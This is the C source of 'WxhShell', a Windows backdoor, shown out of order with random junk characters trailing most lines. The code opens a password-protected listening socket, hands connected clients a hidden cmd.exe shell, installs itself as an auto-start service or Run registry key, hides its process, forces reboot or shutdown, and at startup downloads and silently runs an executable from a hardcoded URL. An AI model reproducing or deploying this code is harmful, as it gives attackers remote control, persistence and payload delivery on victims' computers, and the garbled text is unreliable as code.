    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ; HR\R  
    if(Boot(SHUTDOWN)) ;m M\, {Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $u0+29T2O  
    else { ;dpS@;v  
    closesocket(wsh); U)T/.L{0i  
    ExitThread(0); X(0:zb,#G*  
    } PLY-,Q&'  
    break; &T| UAM.  
    } & Q|f*T  
  // 获取shell QWIOim-  
  case 's': { EeF n{_  
    CmdShell(wsh); )PLc+J.I  
    closesocket(wsh); $6]x,Ct  
    ExitThread(0); ivDG3>"JG  
    break; %WXVfkD  
  } SOi(5]  
  // 退出 NjCLL`?f  
  case 'x': { *N&^bF"SF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hVQ+ J!qD  
    CloseIt(wsh); mF$jC:Tb  
    break; Fg}5V,  
    } 6A{s%v H  
  // 离开 ^LQ lfd  
  case 'q': { ES2d9/]p-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o*5e14W(:  
    closesocket(wsh); h<z/LL8|  
    WSACleanup(); x]jdx#'  
    exit(1); P^d . ,  
    break; t]YLt ,  
        } Q& unA3  
  } J{'zkR?Lr  
  } l1.Aw|'D  
Y-q,Ovf!  
  // 提示信息 =[CS2VQ'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i}&mz~  
} hdNZ":1s  
  } u/c~PxC  
|^&2zyUj/  
  return; p~{%f#V  
} )jQe K  
3=eGS  
// shell模块句柄 crOtQ  
int CmdShell(SOCKET sock) 2>_LX!kyP]  
{ nR|uAw  
STARTUPINFO si; }od7YL  
ZeroMemory(&si,sizeof(si)); 7n3x19T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1k70>RQ&69  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Dg2#Gv0B  
PROCESS_INFORMATION ProcessInfo; AFF>r#e  
char cmdline[]="cmd"; }A&Xxh!Fwo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CSg5i&A=  
  return 0; =dw*B  
} ,-NLUS "w  
RSVN(-wIi)  
// 自身启动模式 _xZb;PbFE  
int StartFromService(void) sN \}Q#:8  
{ W*WH .1&  
typedef struct %:8q7PN|  
{ +^3L~?  
  DWORD ExitStatus; 0:(dl@I)@  
  DWORD PebBaseAddress; ,EJ [I^  
  DWORD AffinityMask; :|6D@  
  DWORD BasePriority; ]KV8u1H>  
  ULONG UniqueProcessId; z_iyuLRdb  
  ULONG InheritedFromUniqueProcessId; . R8W<  
}   PROCESS_BASIC_INFORMATION; EO!cv,[a  
=.2cZwxX$  
PROCNTQSIP NtQueryInformationProcess; b}{9 :n/SC  
v lnUN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #mFAl|O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d4=u`2w  
w"Y55EURB  
  HANDLE             hProcess; ,% DAh  
  PROCESS_BASIC_INFORMATION pbi; Q~8&pP8 I!  
|k9j )Hg(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c3 ]^f6)?  
  if(NULL == hInst ) return 0; O5n] 4)<  
QMfy^t+I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xg%]\#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YyBq+6nq5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KKTfxNxJn  
we).8%)'  
  if (!NtQueryInformationProcess) return 0; )RKhEm%Vr2  
J+*Y)k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f$*9J  
  if(!hProcess) return 0; k |aOUW  
4!RI2?4V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,OFr]74\  
6L% R@r  
  CloseHandle(hProcess); UDqKF85H  
K`Zb;R X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \}Kp=8@nE  
if(hProcess==NULL) return 0; T%#P??k  
@x>2|`65Y  
HMODULE hMod; lcJumV=%>  
char procName[255]; F[giq 1#  
unsigned long cbNeeded; (ZR"O8  
P VW9iT+c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #AnSjl  
?4||L8j2^  
  CloseHandle(hProcess); g \h7`-#t  
49kia!FR  
if(strstr(procName,"services")) return 1; // 以服务启动 w)>z3L m  
G~L#v AY  
  return 0; // 注册表启动 <Q~7a hF  
} gMMd=  
!d@`r1t  
// 主模块 8$olP:d  
int StartWxhshell(LPSTR lpCmdLine) %*; 8m'  
{ 3@bjIX`=H  
  SOCKET wsl; s+~Slgl  
BOOL val=TRUE; 90v18k  
  int port=0; h>Pg:*N,(  
  struct sockaddr_in door; cCCplL  
r1?FH2Ns  
  if(wscfg.ws_autoins) Install(); vrDRSc6_  
0'oT {iN  
port=atoi(lpCmdLine); 2g545r.  
QQ8W;x  
if(port<=0) port=wscfg.ws_port; ?pY!sG  
=KD*+.'\/  
  WSADATA data; (6^k;j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -$ft `Ih  
nx]b\A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F<WX\q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9\0 K%LL  
  door.sin_family = AF_INET; &fj?hYAj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *0zH5c  
  door.sin_port = htons(port);  e) (|  
D/`E!6Fk=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '$^ F.2  
closesocket(wsl); :*nBo  
return 1; H)+kN'J  
} )5OU!c  
Z9^$jw]  
  if(listen(wsl,2) == INVALID_SOCKET) { [SvwJIJJ  
closesocket(wsl); EKD>c$T^  
return 1; YTit=4|  
} O{R5<"g  
  Wxhshell(wsl); RV(z>XM  
  WSACleanup(); P9^h>sV  
}O{"qs#)  
return 0; Al]9/ML/m  
21j+c{O  
} uK5Px!  
pwC/&bu  
// 以NT服务方式启动 Xlw=R2`)~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) va;wQ~&  
{ ufPQ~,.  
DWORD   status = 0; Tq8r SZi  
  DWORD   specificError = 0xfffffff; ".ZiR7Z:$Y  
!m2k0|9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R<Tzt' z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c y$$}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l$KcS&{w9  
  serviceStatus.dwWin32ExitCode     = 0; `pUArqf  
  serviceStatus.dwServiceSpecificExitCode = 0; 'wt|buu-H  
  serviceStatus.dwCheckPoint       = 0;  <k5~z(  
  serviceStatus.dwWaitHint       = 0; t_Wn<)XA  
X_F=;XF/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); # GGmA.  
  if (hServiceStatusHandle==0) return; [\yI<^_a  
Hd`RR3J  
status = GetLastError(); (?[cDw/{J:  
  if (status!=NO_ERROR) <H/H@xQ8G  
{ Yv-uC}e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]0le=Ee^%  
    serviceStatus.dwCheckPoint       = 0; !Ua#smZ  
    serviceStatus.dwWaitHint       = 0; F o6U "  
    serviceStatus.dwWin32ExitCode     = status; IWgC6)n@n  
    serviceStatus.dwServiceSpecificExitCode = specificError; @~ L.m}GF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {IvCe0`  
    return; Wg1WY}zG  
  } )f rtvN7  
U\{Z{F%8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; { Se93o  
  serviceStatus.dwCheckPoint       = 0; ffVYlNQ7L  
  serviceStatus.dwWaitHint       = 0; Dn?L   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5P!17.W'u  
} :u0433z:  
6dUP's_  
// 处理NT服务事件,比如:启动、停止 ='j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W| p?KJk)  
{ R YNz TA  
switch(fdwControl) 5sE}B8 mF  
{ /'(P{O>{j  
case SERVICE_CONTROL_STOP: CmZ?uo+Y  
  serviceStatus.dwWin32ExitCode = 0; OA0\b_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DI7trR`  
  serviceStatus.dwCheckPoint   = 0; ceCshxTU  
  serviceStatus.dwWaitHint     = 0; $7,dKC &  
  { b4wJnmC8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oSoG&4  
  } TxWj gW~  
  return; n'H\*9t  
case SERVICE_CONTROL_PAUSE: I"1\R8 R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T Bco  
  break; ^5+-7+-S  
case SERVICE_CONTROL_CONTINUE: T9^i#8-^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C&T3vM  
  break; 4 C:YEX~  
case SERVICE_CONTROL_INTERROGATE: )".gjW8{#L  
  break; i=4bY[y  
}; oCrn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r4sR5p]|  
} *)1,W+A5L  
k <qQ+\X  
// 标准应用程序主函数 A@] n"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `uj`ixcR  
{ Ub$$wOsf  
L[K_!^MZ  
// 获取操作系统版本 <5q}j-Q  
OsIsNt=GetOsVer(); 1\p[mN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [I9d  
%YXC-E3@O  
  // 从命令行安装 ~"N]%Cu  
  if(strpbrk(lpCmdLine,"iI")) Install(); f19 i !  
8/CGg_C1  
  // 下载执行文件 vB p5&*  
if(wscfg.ws_downexe) { ]~P?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KK+Mxoj,  
  WinExec(wscfg.ws_filenam,SW_HIDE); +CkK4<dF  
} =aCv Xa&,  
 0c{N)  
if(!OsIsNt) { $I9zJ"*  
// 如果时win9x,隐藏进程并且设置为注册表启动 p,+~dn;=  
HideProc(); + |,CIl+  
StartWxhshell(lpCmdLine); }?JO[Q +  
} %lPP1 R  
else sDiYm}W  
  if(StartFromService()) ?|33Np)  
  // 以服务方式启动 JTC&_6  
  StartServiceCtrlDispatcher(DispatchTable); ihnM`TpMJ  
else BhKxI  
  // 普通方式启动 V)`? J)  
  StartWxhshell(lpCmdLine); (GV6%l#I  
t*x;{{jL#(  
return 0; uzo}?X#  
} C{) )T5G  
o8,K1ic5#  
5~kf:U%~  
86_Zh5:  
=========================================== Hq9(6w9w  
m0P5a%D  
fq(e~Aqw$  
)_jO8 )jB  
q=bXHtU  
";~#epPkX  
" n)0{mDf%  
roKiSE`  
#include <stdio.h> QZ6M,\  
#include <string.h> >3bpa<M_  
#include <windows.h> *M*k-Z':.*  
#include <winsock2.h> i8{jMe!Sa  
#include <winsvc.h> |J\/U,nh  
#include <urlmon.h> JG_7G=~  
6f?DW-)jp/  
#pragma comment (lib, "Ws2_32.lib") \|(;q+n?k  
#pragma comment (lib, "urlmon.lib") zumRbrz  
~`BOz P  
#define MAX_USER   100 // 最大客户端连接数 JB-j@  
#define BUF_SOCK   200 // sock buffer p)oW'#@a  
#define KEY_BUFF   255 // 输入 buffer ,9rT|:N  
Y PM>FDxDB  
#define REBOOT     0   // 重启 gO5;hd[ l  
#define SHUTDOWN   1   // 关机 H(AYtnvB  
UYPBKf]A9  
#define DEF_PORT   5000 // 监听端口 i~2>kxf;K1  
{ys_uS{c*  
#define REG_LEN     16   // 注册表键长度 B8PF}Mf  
#define SVC_LEN     80   // NT服务名长度 \yy!?UlaI  
)#Id 2b~  
// 从dll定义API eAqQ~)8^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i{8=;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o _-t/ ?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <Z&gAqj 2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |\ ay^@N  
}Yj S v^  
// wxhshell配置信息 ]}B&-Yp  
struct WSCFG { =19]a  
  int ws_port;         // 监听端口 ,&k 5Qq  
  char ws_passstr[REG_LEN]; // 口令 ;)kBJ @  
  int ws_autoins;       // 安装标记, 1=yes 0=no sJD"u4#y  
  char ws_regname[REG_LEN]; // 注册表键名 d. a>(G  
  char ws_svcname[REG_LEN]; // 服务名 oqE -q\!H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K'tz_:d|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `i{:mio  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6?74l;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M$GD8|*e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6R<%. -qr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \-B>']:R4  
N\0Sq-.  
}; %cv%u6 b  
qEpBzQ&gX6  
// default Wxhshell configuration YlA=? X  
struct WSCFG wscfg={DEF_PORT, %9Ue`8  
    "xuhuanlingzhe", T>z@;5C  
    1, ZTun{Dw{  
    "Wxhshell", EKt-C_)U  
    "Wxhshell", GwvxX&P  
            "WxhShell Service", VjnSi  
    "Wrsky Windows CmdShell Service", &sRyM'XI  
    "Please Input Your Password: ", Ia\Nj _-%L  
  1, q&M;rIo?  
  "http://www.wrsky.com/wxhshell.exe", 8]c`n!u=`  
  "Wxhshell.exe" #4hP_Vhc  
    }; A#i-C+"}  
yTEuf@  
// 消息定义模块 Uag1vW,c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =FKB)#N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |N g[^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D^u{zZy@e  
char *msg_ws_ext="\n\rExit."; zb4g\H 0  
char *msg_ws_end="\n\rQuit."; f8j^a?d|  
char *msg_ws_boot="\n\rReboot..."; 0TNzVsu7  
char *msg_ws_poff="\n\rShutdown..."; E,X,RM~ +D  
char *msg_ws_down="\n\rSave to "; "~ `-Jkm   
N+tS:$V  
char *msg_ws_err="\n\rErr!"; ;~K($_#H  
char *msg_ws_ok="\n\rOK!"; '-x%?Ll  
3ty){#:  
char ExeFile[MAX_PATH]; `+6HHtF  
int nUser = 0; N.<hZ\].=  
HANDLE handles[MAX_USER]; :JS} (  
int OsIsNt; (y36NH+  
W6PGv1iaW>  
SERVICE_STATUS       serviceStatus; W) _B(;$]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8 2qe|XD4p  
=Dz[|$dV  
// 函数声明 NX; &V7  
int Install(void); Mc8^{br61  
int Uninstall(void); M(BZ<,9V  
int DownloadFile(char *sURL, SOCKET wsh); IIPf5 Z}A  
int Boot(int flag); Bb o*  
void HideProc(void); \Q$);:=q Q  
int GetOsVer(void); {\e}43^9N  
int Wxhshell(SOCKET wsl); G pd:k  
void TalkWithClient(void *cs); !d^`YEfE  
int CmdShell(SOCKET sock); zM'-2,  
int StartFromService(void); I,[EL{fz  
int StartWxhshell(LPSTR lpCmdLine); M~6I-HexT|  
}u&JX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =VU2#O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Gl:AS PZ6  
s,RS}ek~|  
// 数据结构和表定义 Xx^c?6YM  
SERVICE_TABLE_ENTRY DispatchTable[] = m|k,8guG  
{ V;V9_qP,  
{wscfg.ws_svcname, NTServiceMain}, /[s$A?  
{NULL, NULL} 87Kx7CKF"  
}; pI`Ke"  
oW_WW$+N  
// 自我安装 A3n"zxU  
int Install(void) 9Dl \SF[  
{ ke0W?  
  char svExeFile[MAX_PATH]; W@tLT[}CG  
  HKEY key; |?> h$'  
  strcpy(svExeFile,ExeFile); :wZZ 1qa  
D.!4i.)8}  
// 如果是win9x系统,修改注册表设为自启动 \9p;md`  
if(!OsIsNt) { erqB/C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ua]zTMI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *.RVH<W=8  
  RegCloseKey(key); q~3&f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b$`O|S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -%.V0=G(Z  
  RegCloseKey(key); pr"flRQr#  
  return 0; 1<83MO;  
    } _X[c19q  
  } *pMA V [^  
} NEk [0  
else { 55,-1tWs  
[xPE?OD  
// 如果是NT以上系统,安装为系统服务 f"Iyo:Wt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cF2/}m]  
if (schSCManager!=0) .tNB07=7  
{ wOOPWwk  
  SC_HANDLE schService = CreateService 8'_Y=7b0Nw  
  ( `Nn?G  
  schSCManager, 7r>W r#  
  wscfg.ws_svcname, s,Swlo7D!  
  wscfg.ws_svcdisp, ;qMlGXW*q  
  SERVICE_ALL_ACCESS, A=K1T]o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (a?Ip)`I  
  SERVICE_AUTO_START, ooQ(bF  
  SERVICE_ERROR_NORMAL, 9o`3g@6z  
  svExeFile, Fn,|J[sC  
  NULL, e?>suIB  
  NULL, @Xmk Im  
  NULL, _HsvF[\[  
  NULL, keOW{:^i  
  NULL gL`SZr9  
  ); Ox Z:5ps  
  if (schService!=0) B}X#oA  
  { m##=iB|;  
  CloseServiceHandle(schService); sXxO{aeev  
  CloseServiceHandle(schSCManager); "+&<Qd2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mQd?Tyvn  
  strcat(svExeFile,wscfg.ws_svcname); j`B{w   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -cgukl4Va  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _3a 5/IZ  
  RegCloseKey(key); CvJEY  
  return 0; 1tW:(~ =a;  
    } IJ; *N  
  } (rn x56I$  
  CloseServiceHandle(schSCManager); 4)I#[&f  
} ]||=<!^kn  
} Hea<!zPH  
"[yiNJ"kt  
return 1; T*yveo &j  
} Kf#!IY][  
gN~y6c:N  
// 自我卸载 dL(|Y{4  
int Uninstall(void) kqw? X{  
{ ISew]R2  
  HKEY key; <>s\tJ  
MFuI&u!g:  
if(!OsIsNt) { Oy$BR <\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'OCo1|iK~  
  RegDeleteValue(key,wscfg.ws_regname); vq1&8=  
  RegCloseKey(key); VsEAo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hw&M2a  
  RegDeleteValue(key,wscfg.ws_regname); ^ {f ^WL=  
  RegCloseKey(key); 6/ipdi[ _  
  return 0; oE1]vX  
  } o[hP&9>q  
} R"`{E,yj  
} j*d~h$[k  
else { <t% A)L%  
nD\os[ 3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u^%')Ncp  
if (schSCManager!=0) <|3v@  
{ \[1CDz=}1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *J5RueUG  
  if (schService!=0) A'iF'<%  
  { [oLQd-+  
  if(DeleteService(schService)!=0) { WG}CPkj  
  CloseServiceHandle(schService); s$x] fO  
  CloseServiceHandle(schSCManager); yX3H&F6  
  return 0; 5C1Rub)  
  } L]N2r MM  
  CloseServiceHandle(schService); 4!vUksM  
  } _x 6E_i-(  
  CloseServiceHandle(schSCManager); :b*`hWnQ  
} _PUm Pom.  
} NP'Ke:  
e-3pg?M  
return 1; 2Q|*xd4B^  
} ^jjJM|a  
D*'M^k|1  
// 从指定url下载文件 h\*rv5\M  
int DownloadFile(char *sURL, SOCKET wsh) ,9wenr  
{ Pl& `&N;  
  HRESULT hr; vx}Z  
char seps[]= "/"; Sx9:$"3.X  
char *token; N3p 7 0  
char *file; Z !25xqNCd  
char myURL[MAX_PATH]; y6jmn1K  
char myFILE[MAX_PATH]; }lUpC}aq_  
ANQa2swM  
strcpy(myURL,sURL); F%Umau*1  
  token=strtok(myURL,seps); 8t: &#h  
  while(token!=NULL) H9Q7({v  
  { f\_!N "HW  
    file=token; kJi&9  
  token=strtok(NULL,seps); vq:OH H  
  } [=ak>>8  
_JJKbi  
GetCurrentDirectory(MAX_PATH,myFILE); .4re0:V  
strcat(myFILE, "\\"); \*!%YTZ~  
strcat(myFILE, file); X#I`(iHY  
  send(wsh,myFILE,strlen(myFILE),0); [S&O-b8A  
send(wsh,"...",3,0); Nwl RPyt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6Y_O^f  
  if(hr==S_OK) <C"N X  
return 0; DT"Zq  
else dwbY"t[9  
return 1; }42qMOi#w1  
Rk jKIa  
} KR+BuL+L  
Jv^cOc  
// 系统电源模块 @W\4UX3dK  
int Boot(int flag) +}XL>=-5  
{ MRg\FR 2>1  
  HANDLE hToken; 2C33;?M  
  TOKEN_PRIVILEGES tkp; d?&!y]RS#  
5*wApu{2A  
  if(OsIsNt) { {_toh/8)r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r>:L$_]L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UG"6RW @  
    tkp.PrivilegeCount = 1; ]AZ\5C-J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2u*h*/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PMN2VzE4{  
if(flag==REBOOT) {  J"Y   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UK~B[=b9  
  return 0; Fwx~ ~"I  
} 2VV[*QI  
else { Pm#x?1rAj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y }&4HrT&  
  return 0; $dZ>bXUw:  
} ,;cel^.b  
  } [[?[? V ,  
  else { Ld}(*-1i  
if(flag==REBOOT) { MX`Wg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0qL V(L  
  return 0; 4)odFq:  
} eN| HJ=  
else { vpeBQ=2\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y@kcXlY  
  return 0; @W1WReK]f  
} A eGG  
} Cwsoz  
ZO%fS'n  
return 1; jW1YTQ  
} _<%\h?W$  
E)80S.V  
// win9x进程隐藏模块 9QOr,~~s  
void HideProc(void) | z#m  
{ GcZM+c  
Wd^lt7(j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X"TUe>cM  
  if ( hKernel != NULL ) zr3q>]oma  
  { k_K,J 6_)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3b|7[7}&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OK M\"A4  
    FreeLibrary(hKernel); q?;*g@t  
  } Y/^[qD  
k(-Z@   
return; Z{a{HX[Jx  
} Ox7uG{t$#  
-}_cO|kk  
// 获取操作系统版本 @Xq&t}*8  
int GetOsVer(void) L,b|Iq  
{ %="~\1y  
  OSVERSIONINFO winfo; JNxW6 cK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .K|P&  
  GetVersionEx(&winfo); ;Na8 _}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BcZEa^^~os  
  return 1; Avs7(-L+s  
  else VMxYZkMNd_  
  return 0; ){O1&|z-  
} w69>tC  
9Qt)m fqM  
// 客户端句柄模块 hF7V !*5  
int Wxhshell(SOCKET wsl) UM4 @H1  
{ :u >W&D  
  SOCKET wsh; `d}W;&c  
  struct sockaddr_in client; _&; ZmNNhc  
  DWORD myID; ilDJwZg#  
->&BcPLn  
  while(nUser<MAX_USER) hi;WFyJTu  
{ yfSiByU  
  int nSize=sizeof(client); ERp:EZ'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i(M(OR/4  
  if(wsh==INVALID_SOCKET) return 1; q3c*<n g#  
!sg%6H?}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ur/Oc24i1n  
if(handles[nUser]==0) 84[|qB,ML  
  closesocket(wsh); 0M#N=%31  
else :kWZSN8.D  
  nUser++; (@ %XWg  
  } ELN|;^-/|Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U9<_6Bsd  
gq H`GI  
  return 0; Hi]vHG(  
} 9USrgY6_  
,pDp>-vI%  
// 关闭 socket /J1S@-  
void CloseIt(SOCKET wsh) H{j~ihq7  
{ Q<RT12|`  
closesocket(wsh); (y=dR1p  
nUser--; }x:\69$  
ExitThread(0); Jq# [uX  
} J Z %`%rA  
}Q`/K;yq  
// 客户端请求句柄 5c<b|  
void TalkWithClient(void *cs) <8iYL`3  
{ H,(F1+~d  
6b%`^B\  
  SOCKET wsh=(SOCKET)cs; nHI(V-E2:H  
  char pwd[SVC_LEN]; tegOT]|  
  char cmd[KEY_BUFF]; =RQ )$ %  
char chr[1]; aN>U. SB  
int i,j; 8BHL  
nURvy}<r  
  while (nUser < MAX_USER) { "I5uDFZR&  
a;56k  
if(wscfg.ws_passstr) { MP jr_yc]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &\&'L|0F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D35m5+=I  
  //ZeroMemory(pwd,KEY_BUFF); z8g=;><  
      i=0; p9/bzT34.  
  while(i<SVC_LEN) { $TR=3[j  
HMF8;,<_w?  
  // 设置超时 ;JAK[o8i  
  fd_set FdRead; 40 A&#u9o  
  struct timeval TimeOut; CI IY|DI`l  
  FD_ZERO(&FdRead); e-~hS6p(  
  FD_SET(wsh,&FdRead); b+W)2rFO  
  TimeOut.tv_sec=8; $ b4*/vMr  
  TimeOut.tv_usec=0; )qbI{^_g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]9fS@SHdx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Mg#`t$ u  
!)NYW4"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h{\t*U 54'  
  pwd=chr[0]; /CIx$G  
  if(chr[0]==0xd || chr[0]==0xa) { lrCm9Oy  
  pwd=0; \.5F](:  
  break; sjSi;S4  
  } b([:,T7  
  i++; 3b#L17D3_  
    } +IvNyj|  
Pl_^nFm0  
  // 如果是非法用户,关闭 socket <[bQo&B2 E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U> W|(Y  
} ]n~yp5Nbr  
[C~fBf5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,cLH*@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7@JjjV  
O97VdNT8  
while(1) { Dq|GQdZ>o  
YmOldR9v(  
  ZeroMemory(cmd,KEY_BUFF); ?vvG)nW  
iM8sX B  
      // 自动支持客户端 telnet标准   PVhik@Yoh  
  j=0; '[%jjUU  
  while(j<KEY_BUFF) { |0lLl^zp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2v4W6R  
  cmd[j]=chr[0]; N5yJ'i~,M  
  if(chr[0]==0xa || chr[0]==0xd) { X|,["Az 8  
  cmd[j]=0; FzVZs# O  
  break; z23#G>I&  
  } NJk)z&M  
  j++; VDG|>#[!  
    } 3eWJt\}?B  
C B6A}m  
  // 下载文件 ?gU}[]  
  if(strstr(cmd,"http://")) { N=q#y@L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Cc2MYm8  
  if(DownloadFile(cmd,wsh)) I4ebkPgf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); AH|Y<\  
  else C1 tb`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |hc\jb  
  } GtC7^ Z&E  
  else { zOL;"/R  
Y|_O8[  
    switch(cmd[0]) { X PA 0m  
  B@"J]S  
